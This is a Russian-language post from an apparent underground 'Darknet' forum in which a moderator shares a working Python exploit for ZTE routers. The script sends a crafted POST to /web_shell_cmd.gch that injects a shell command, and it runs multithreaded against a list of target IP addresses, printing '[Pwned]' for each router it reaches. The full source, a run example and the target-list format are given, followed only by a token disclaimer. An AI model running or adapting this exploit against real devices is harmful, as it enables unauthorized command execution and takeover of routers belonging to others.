1. Что-бы увидеть скрытые разделы и познать все тайны Darkneta Вам необходимо Зарегистрироваться или Войти.

SSL уязвимость в роутере от ZTE

Тема в разделе "Уязвимости", создана пользователем Dr.Web, 30 дек 2019.

Метки:
  1. Dr.Web

    Dr.Web Модератор | @dimadrweb
    Модератор

    Статус
    Оффлайн
    Регистрация:
    18 сен 2018
    Депозит:
    0 р.
    Гарант сделок:
    0
    Сообщения:
    578
    Розыгрышей:
    0
    Рейтинги:
    +103 / -0
    Страница Вконтакте:
    Telegram:
    Приветствую вас. Сегодня поговорим о zte роутерах.
    Уязвимость в ZTE роутерах, доступному по URI router_ip:443/web_shell_cmd.gch.
    Она заключается в том, что мы посылаем POST-запрос с ошибкой и ее типом, а в ней — код для выполнения.
    Поехали.


    Код:
    import threading
    
    import socket
    
    import ssl
    
    import time
    
    import sys
    
    info = open(str(sys.argv[1]),'a+')
    
    class skid(threading.Thread):
    
    def __init__(self, ip):
    
    threading.Thread.__init__(self)
    
    self.ip = str(ip).rstrip('\n')

    В этом участке кода мы загружаем необходимые модули для работы эксплойта. Также я сделал, чтобы цели брались из списка, подготовленного нами. В конце я покажу пример запуска эксплойта. И ещё на этом участке кода есть многопоточность.

    Далее в коде:


    Код:
    def run(self):
    
    try:
    
    f1 = "POST /web_shell_cmd.gch HTTP/1.1\r\nHost: 127.0.0.1\r\nUser-Agent: HaxerMen\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\nContent-Length: 114\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nIF_ACTION=apply&IF_ERRORSTR=SUCC&IF_ERRORPARAM=SUCC&IF_ERRORTYPE=-1&Cmd=mkdir+hacked&CmdAck=\r\n\r\n"
    
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    ssl_sock = ssl.wrap_socket(sock)
    
    ssl_sock.connect((self.ip, 443))
    
    ssl_sock.sendall(f1.encode('utf-8'))
    
    ssl_sock.close()
    
    time.sleep(3)
    
    print("[Pwned]" + self.ip)
    
    except Exception as e:
    
    print(e)
    
    return

    мы передаём переменной f1 — payload, отправляя POST-запрос на /web_shell_cmd.gch с ошибкой, где в типе ошибке уже содержится payload. Для примера я просто сделал команду, которая создаёт папку hacked. Далее идут SSL-сокеты, которые отправляют payload устройствам из списка. При успешной передаче команды роутеру ZTE выводится надпись Pwned + IP роутера. Слэшы и точки должны быть в hex формате, а пробелы — заменяться знаком +.

    Далее в коде идёт простая функция, которая просто запускает эксплуатацию роутеров:


    Код:
    for ip in info:
    
    try:
    
    time.sleep(0.01)
    
    skid(ip).start()
    
    except:
    
    pass

    Пример запуска:

    python exploit.py zte

    [​IMG]


    Где zte — это список IP адресов роутеров ZTE.

    Тип записи IP роутеров ZTE в список:

    192.168.1.1

    192.168.1.2

    192.168.1.3

    Исходный код эксплойта:


    Код:
    import threading
    
    import socket
    
    import ssl
    
    import time
    
    import sys
    
    info = open(str(sys.argv[1]),'a+')
    
    class skid(threading.Thread):
    
    def __init__(self, ip):
    
    threading.Thread.__init__(self)
    
    self.ip = str(ip).rstrip('\n')
    
    def run(self):
    
    try:
    
    f1 = "POST /web_shell_cmd.gch HTTP/1.1\r\nHost: 127.0.0.1\r\nUser-Agent: HaxerMen\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\nContent-Length: 114\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nIF_ACTION=apply&IF_ERRORSTR=SUCC&IF_ERRORPARAM=SUCC&IF_ERRORTYPE=-1&Cmd=mkdir+hacked&CmdAck=\r\n\r\n"
    
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    
    ssl_sock = ssl.wrap_socket(sock)
    
    ssl_sock.connect((self.ip, 443))
    
    ssl_sock.sendall(f1.encode('utf-8'))
    
    ssl_sock.close()
    
    time.sleep(3)
    
    print("[Pwned]" + self.ip)
    
    except Exception as e:
    
    print(e)
    
    return
    
    for ip in info:
    
    try:
    
    time.sleep(0.01)
    
    skid(ip).start()
    
    except:
    
    pass

    Чуть не забыл. Эксплойт работает на python2!​

    Информация предназначена исключительно для ознакомления. Не нарушайте законодательство.
     
    • Нравится Нравится x 1